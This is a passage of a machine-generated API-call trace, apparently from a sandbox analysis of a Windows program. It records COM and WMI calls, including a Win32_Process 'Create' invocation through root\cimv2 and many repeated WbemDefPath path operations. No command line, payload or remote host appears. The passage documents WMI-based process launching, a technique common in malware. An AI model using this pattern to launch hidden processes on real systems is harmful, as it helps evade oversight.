pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.858] WbemDefPath:IWbemPath:GetText (in: This=0x119c320, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0063.858] WbemDefPath:IWbemPath:GetText (in: This=0x119c320, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0063.858] IWbemServices:ExecMethod (in: This=0x1bf29370, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf19780, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf19a30, ppCallResult=0x0) returned 0x0 [0064.110] IWbemClassObject:Get (in: This=0x1bf19a30, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8eb40*=0, plFlavor=0x2a8eb44*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf3c, varVal2=0x0), pType=0x2a8eb40*=19, plFlavor=0x2a8eb44*=0) returned 0x0 [0064.110] IWbemClassObject:Get (in: This=0x1bf19a30, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8eb40*=19, plFlavor=0x2a8eb44*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf3c, varVal2=0x0), pType=0x2a8eb40*=19, plFlavor=0x2a8eb44*=0) returned 0x0 [0064.111] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0064.111] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0064.111] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0064.111] IUnknown:Release (This=0x111f638) returned 0x1 [0064.114] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf3d900) returned 0x0 [0064.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3d900, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0064.114] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3d900, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3aa40) returned 0x0 [0064.114] WbemDefPath:IUnknown:Release (This=0x1bf3d900) returned 0x0 [0064.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3aa40) returned 0x0 [0064.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0064.115] WbemDefPath:IUnknown:AddRef (This=0x1bf3aa40) returned 0x3 [0064.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0064.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0064.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf3d940) returned 0x0 [0064.115] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3d940, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.115] WbemDefPath:IUnknown:Release (This=0x1bf3d940) returned 0x3 [0064.115] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0064.115] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0064.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0064.115] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x2 [0064.115] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x1 [0064.115] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0064.115] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0064.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aa40, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3aa40) returned 0x0 [0064.115] WbemDefPath:IUnknown:AddRef (This=0x1bf3aa40) returned 0x3 [0064.115] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x2 [0064.115] WbemDefPath:IWbemPath:SetText (This=0x1bf3aa40, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0064.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aa40, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0064.116] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0064.116] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0064.116] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3aa40, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0064.116] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aa40, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0064.116] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3aa40, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0064.116] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0064.116] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0064.116] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0064.116] IUnknown:Release (This=0x111f638) returned 0x1 [0064.118] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf3d980) returned 0x0 [0064.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3d980, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0064.118] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3d980, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3ab00) returned 0x0 [0064.119] WbemDefPath:IUnknown:Release (This=0x1bf3d980) returned 0x0 [0064.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3ab00) returned 0x0 [0064.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0064.119] WbemDefPath:IUnknown:AddRef (This=0x1bf3ab00) returned 0x3 [0064.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0064.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0064.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf3d9c0) returned 0x0 [0064.119] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3d9c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.119] WbemDefPath:IUnknown:Release (This=0x1bf3d9c0) returned 0x3 [0064.119] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0064.119] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0064.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0064.120] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x2 [0064.120] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x1 [0064.120] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0064.120] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0064.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3ab00) returned 0x0 [0064.120] WbemDefPath:IUnknown:AddRef (This=0x1bf3ab00) returned 0x3 [0064.120] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x2 [0064.120] WbemDefPath:IWbemPath:SetText (This=0x1bf3ab00, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ab00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3ab00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ab00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3ab00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ab00, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0064.120] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.120] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0064.120] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0064.121] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0064.121] IUnknown:Release (This=0x111f638) returned 0x1 [0064.123] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf3da00) returned 0x0 [0064.123] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3da00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0064.123] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3da00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3abc0) returned 0x0 [0064.123] WbemDefPath:IUnknown:Release (This=0x1bf3da00) returned 0x0 [0064.123] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3abc0) returned 0x0 [0064.123] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0064.124] WbemDefPath:IUnknown:AddRef (This=0x1bf3abc0) returned 0x3 [0064.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0064.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0064.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf3da40) returned 0x0 [0064.124] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3da40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.124] WbemDefPath:IUnknown:Release (This=0x1bf3da40) returned 0x3 [0064.124] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0064.124] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0064.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0064.125] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x2 [0064.125] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x1 [0064.125] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0064.125] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0064.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3abc0) returned 0x0 [0064.125] WbemDefPath:IUnknown:AddRef (This=0x1bf3abc0) returned 0x3 [0064.125] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x2 [0064.125] WbemDefPath:IWbemPath:SetText (This=0x1bf3abc0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0064.125] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0064.125] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0064.125] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.125] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0064.125] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0064.125] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0064.125] IUnknown:Release (This=0x111f638) returned 0x1 [0064.127] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf3db40) returned 0x0 [0064.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0064.127] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf3db40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf3db60) returned 0x0 [0064.127] WbemLocator:IUnknown:Release (This=0x1bf3db40) returned 0x0 [0064.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf3db60) 